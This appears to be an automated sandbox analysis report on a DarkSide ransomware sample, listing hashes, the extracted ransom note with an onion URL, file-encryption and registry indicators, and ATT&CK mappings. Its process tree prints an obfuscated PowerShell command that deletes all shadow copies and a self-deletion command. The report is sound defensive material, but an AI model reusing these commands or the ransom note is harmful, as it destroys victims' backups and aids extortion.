darkside | b70a184f36903de934b93c5118561ddb1c3747e365575f92682ef09fbb48d5f8

General

Target

sage2.donotopen.exe
Size

59KB
MD5

7be33b01e9cb99c6e23ae3b02f384a2c
SHA1

1f8a236ceafc44eea0c117b9d276d556e3fe53e2
SHA256

b70a184f36903de934b93c5118561ddb1c3747e365575f92682ef09fbb48d5f8
SHA512

c053fe23f5b25127bfe17d7eabad31aa7c3d696d78373e90d8ced9182598c4315fd0cb02aec12efee120996874894a0ef56671d3db4adedfcccb0b80c4b1c154

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/VFBTTQ0UZGCGIMG4WZLMO06HUN6ZQHEF4AY2K88X4GZJQOT106I95CADXOD0MZ39 When you open our website, put the following data in the input form: Key: O8cftGJ1pfLv5lKrmHB1GEA5n66Njf1IoiFZtDyJK7pBiGogpnuyofA8s6BYSOlZa77fma1teaR5FThKb6yVbUwdnRpfC8HAH5y3uyOku71bGSVGSHkW7qL1nVJPNZEeEEpektJpXiq5CDK6sen3WLkcHdSj5fwpGixQ7ytCt4J36QhSfGOCggTXweb3Ccvm2TqZCQQo7io6essoQGcHGFiqiceOVKVBuDq8xYEEODU3bf523VsgLA09gJeK3OkB1A9aWrX8VwwAVhNojxiotck0g0zw6kO6Yyn6zdZtwbCFv6Ny5E73WonoBoWoE8NhX2C6zXRvTogoUEDxfzTquiTRE4ciawueUJWWOqoprwxGqEM7b0ClmYGOMIDQs5xZwnkWLZH97aqBxHmKjGGVcSPts4YtipD4RlaLL5w4F57zcOi0nH8mHoLNA6guOKJSrWC8sGFbm1HUjDmUPxzxhWTg9GBL9cIP6LGorwqmazVcTJkV8JRJ78tFFqr8Ofa4X3ISHdfA3dkgEFWHgeGy2NxVGHSNXnL4fCIW1bKzwhORTrPH00spmCS !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/VFBTTQ0UZGCGIMG4WZLMO06HUN6ZQHEF4AY2K88X4GZJQOT106I95CADXOD0MZ39

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 10 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

sage2.donotopen.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\MergeProtect.tif.341d6443	sage2.donotopen.exe
File renamed	C:\Users\Admin\Pictures\SelectRead.crw => C:\Users\Admin\Pictures\SelectRead.crw.341d6443	sage2.donotopen.exe
File opened for modification	C:\Users\Admin\Pictures\ConnectSet.crw.341d6443	sage2.donotopen.exe
File renamed	C:\Users\Admin\Pictures\DenyRequest.png => C:\Users\Admin\Pictures\DenyRequest.png.341d6443	sage2.donotopen.exe
File opened for modification	C:\Users\Admin\Pictures\DenyRequest.png.341d6443	sage2.donotopen.exe
File opened for modification	C:\Users\Admin\Pictures\SelectPop.raw.341d6443	sage2.donotopen.exe
File opened for modification	C:\Users\Admin\Pictures\SelectRead.crw.341d6443	sage2.donotopen.exe
File renamed	C:\Users\Admin\Pictures\ConnectSet.crw => C:\Users\Admin\Pictures\ConnectSet.crw.341d6443	sage2.donotopen.exe
File renamed	C:\Users\Admin\Pictures\MergeProtect.tif => C:\Users\Admin\Pictures\MergeProtect.tif.341d6443	sage2.donotopen.exe
File renamed	C:\Users\Admin\Pictures\SelectPop.raw => C:\Users\Admin\Pictures\SelectPop.raw.341d6443	sage2.donotopen.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2840 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2840	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

sage2.donotopen.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP"	sage2.donotopen.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP"	sage2.donotopen.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

sage2.donotopen.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10"	sage2.donotopen.exe

Modifies registry class 5 IoCs

Processes:

sage2.donotopen.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443	sage2.donotopen.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443"	sage2.donotopen.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon	sage2.donotopen.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443	sage2.donotopen.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico"	sage2.donotopen.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exesage2.donotopen.exe

pid process

1616 powershell.exe
1616 powershell.exe
788 sage2.donotopen.exe
788 sage2.donotopen.exe

pid	process
1616	powershell.exe
1616	powershell.exe
788	sage2.donotopen.exe
788	sage2.donotopen.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

sage2.donotopen.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	788	sage2.donotopen.exe
Token: SeSecurityPrivilege	788	sage2.donotopen.exe
Token: SeTakeOwnershipPrivilege	788	sage2.donotopen.exe
Token: SeLoadDriverPrivilege	788	sage2.donotopen.exe
Token: SeSystemProfilePrivilege	788	sage2.donotopen.exe
Token: SeSystemtimePrivilege	788	sage2.donotopen.exe
Token: SeProfSingleProcessPrivilege	788	sage2.donotopen.exe
Token: SeIncBasePriorityPrivilege	788	sage2.donotopen.exe
Token: SeCreatePagefilePrivilege	788	sage2.donotopen.exe
Token: SeBackupPrivilege	788	sage2.donotopen.exe
Token: SeRestorePrivilege	788	sage2.donotopen.exe
Token: SeShutdownPrivilege	788	sage2.donotopen.exe
Token: SeDebugPrivilege	788	sage2.donotopen.exe
Token: SeSystemEnvironmentPrivilege	788	sage2.donotopen.exe
Token: SeRemoteShutdownPrivilege	788	sage2.donotopen.exe
Token: SeUndockPrivilege	788	sage2.donotopen.exe
Token: SeManageVolumePrivilege	788	sage2.donotopen.exe
Token: 33	788	sage2.donotopen.exe
Token: 34	788	sage2.donotopen.exe
Token: 35	788	sage2.donotopen.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeBackupPrivilege	1644	vssvc.exe
Token: SeRestorePrivilege	1644	vssvc.exe
Token: SeAuditPrivilege	1644	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

sage2.donotopen.exe

description	pid	process	target process
PID 788 wrote to memory of 1616	788	sage2.donotopen.exe	powershell.exe
PID 788 wrote to memory of 1616	788	sage2.donotopen.exe	powershell.exe
PID 788 wrote to memory of 1616	788	sage2.donotopen.exe	powershell.exe
PID 788 wrote to memory of 1616	788	sage2.donotopen.exe	powershell.exe
PID 788 wrote to memory of 2840	788	sage2.donotopen.exe	cmd.exe
PID 788 wrote to memory of 2840	788	sage2.donotopen.exe	cmd.exe
PID 788 wrote to memory of 2840	788	sage2.donotopen.exe	cmd.exe
PID 788 wrote to memory of 2840	788	sage2.donotopen.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe
"C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1616

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\SAGE2D~1.EXE >> NUL
2⤵
- Deletes itself
PID:2840

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1644

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
dab8d891d3796ee132d648b719db343c

SHA1
8eab3909265c184a9a26893589836f047591c54c

SHA256
7e2ec9da9919c4f541728636bfac5e74405033f0f7e7bd733c3e68d82349f786

SHA512
305ca5f6aff09b5d645b5ce1e74b5fe22227fa6d6d70c4ab3dd165b1a140857f929a1727ea341fff063d1dc39756d037d0aac2c10a8ea0f9757ad111edc90d87

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
5fcb6bbfb6b9dfcc7478f6cfa20f8bf0

SHA1
3c0ac7025e2d9aa30ef10a51313d152307f46dd1

SHA256
4a2b89babae45fbedb1c4b80f696fbc89a8b13249789647f55c64cbb878e2a64

SHA512
be9c5563f3c7430369359dbb7a548d6135773ae49b11047eb8acb7fa5c849e979456c06a49b27dd0a862ef1886930e7ad3e182e265f43e6cf1bca70874b30fed

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memory/788-59-0x0000000075551000-0x0000000075553000-memory.dmp

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8KB

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memory/1616-66-0x000000001AC14000-0x000000001AC16000-memory.dmp

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8KB

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memory/1616-63-0x000000001AC90000-0x000000001AC91000-memory.dmp

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4KB

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memory/1616-64-0x0000000002280000-0x0000000002281000-memory.dmp

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4KB

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memory/1616-62-0x0000000001ED0000-0x0000000001ED1000-memory.dmp

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4KB

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memory/1616-65-0x000000001AC10000-0x000000001AC12000-memory.dmp

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8KB

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memory/1616-67-0x0000000001F10000-0x0000000001F11000-memory.dmp

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4KB

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memory/1616-68-0x000000001C4C0000-0x000000001C4C1000-memory.dmp

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4KB

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memory/1616-69-0x000000001C590000-0x000000001C591000-memory.dmp

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4KB

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memory/1616-61-0x000007FEFBC81000-0x000007FEFBC83000-memory.dmp

Filesize
8KB

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memory/1616-60-0x0000000000000000-mapping.dmp

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memory/2840-72-0x0000000000000000-mapping.dmp

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Signatures

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Network

MITRE ATT&CK Matrix ATT&CK v6

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